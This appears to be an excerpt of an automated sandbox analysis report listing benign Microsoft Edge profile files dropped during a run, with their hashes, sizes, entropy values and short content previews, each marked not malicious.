SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7de8e9c3-6ccd-42b8-8f2b-3817ca4ca06d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39d5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bd0f7392-6b68-4b04-aa50-008a560eb08b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.205618812096628
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypisc/LjsZihUkxg180bV+FGEQA66WtNaFIMYtP8YJ:stMPGKSu4is+vfhibGhQx6WjaTYr
MD5:	75CB79050BE13DC9FD71AC363A9F2530
SHA1:	274737BB097D94464B4D6E20EDBF5717CE86B8C3
SHA-256:	E3B702165B11FFC7FD58DC62FD3D4E2F909ACD11E6D233B4B4381EEB5C3C38E8
SHA-512:	9D01BF463B5B143754B85E60DC3F8DDA7E3BC3806ED72A89130BBA0E61B0AFC032AC226075A7D7546656A4DC0CAC7BFD803452B979EDC143E3DFF59E7E3DCFC8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dacf2e48-1162-4c0c-bc9a-7c9dd79cb2f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37c07.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37deb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a4cc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3dac1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48ea0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4eaca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSp